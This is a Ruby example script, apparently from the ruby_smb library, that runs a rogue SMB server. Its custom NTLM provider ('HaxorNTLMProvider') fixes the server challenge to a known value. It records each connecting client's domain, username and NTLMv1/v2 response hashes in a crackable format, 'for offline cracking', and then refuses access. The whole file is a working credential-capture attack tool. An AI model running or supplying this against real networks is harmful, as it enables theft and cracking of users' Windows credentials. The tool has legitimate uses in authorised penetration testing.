examples/auth_capture.rb
#!/usr/bin/ruby
require 'bundler/setup'
require 'optparse'
require 'ruby_smb'
require 'ruby_smb/gss/provider/ntlm'
# we just need *a* default encoding to handle the strings from the NTLM messages
Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
options = {
smbv1: true,
smbv2: true,
smbv3: true
}
OptionParser.new do |opts|
opts.banner = "Usage: #{File.basename(__FILE__)} [options]"
opts.on("--[no-]smbv1", "Enable or disable SMBv1 (default: #{options[:smbv1] ? 'Enabled' : 'Disabled'})") do |smbv1|
options[:smbv1] = smbv1
end
opts.on("--[no-]smbv2", "Enable or disable SMBv2 (default: #{options[:smbv2] ? 'Enabled' : 'Disabled'})") do |smbv2|
options[:smbv2] = smbv2
end
opts.on("--[no-]smbv3", "Enable or disable SMBv3 (default: #{options[:smbv3] ? 'Enabled' : 'Disabled'})") do |smbv3|
options[:smbv3] = smbv3
end
end.parse!
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
# override the NTLM type 3 process method to extract all of the valuable information
def process_ntlm_type3(type3_msg)
username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
_, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
hash_type = nil
hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
case type3_msg.ntlm_version
when :ntlmv1
hash_type = 'NTLMv1-SSP'
hash << ":#{bin_to_hex(type3_msg.lm_response)}"
hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
hash << ":#{bin_to_hex(@server_challenge)}"
when :ntlmv2
hash_type = 'NTLMv2-SSP'
hash << ":#{bin_to_hex(@server_challenge)}"
# NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
end
unless hash_type.nil?
version = @server_client.metadialect.version_name
puts "[#{version}] #{hash_type} Client : #{client}"
puts "[#{version}] #{hash_type} Username : #{username}"
puts "[#{version}] #{hash_type} Hash : #{hash}"
end
WindowsError::NTStatus::STATUS_ACCESS_DENIED
end
end
def new_authenticator(server_client)
# build and return an instance that can process and track stateful information for a particular connection but
# that's backed by this particular provider
Authenticator.new(self, server_client)
end
# we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
def generate_server_challenge(&block)
"\x11\x22\x33\x44\x55\x66\x77\x88"
end
end
# define a new server with the custom authentication provider
server = RubySMB::Server.new(
gss_provider: HaxorNTLMProvider.new
)
server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB1 } unless options[:smbv1]
server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB2 } unless options[:smbv2]
server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB3 } unless options[:smbv3]
if server.dialects.empty?
puts "at least one version must be enabled"
exit false
end
puts "server is running"
server.run do
puts "received connection"
# accept all of the connections and run forever
true
end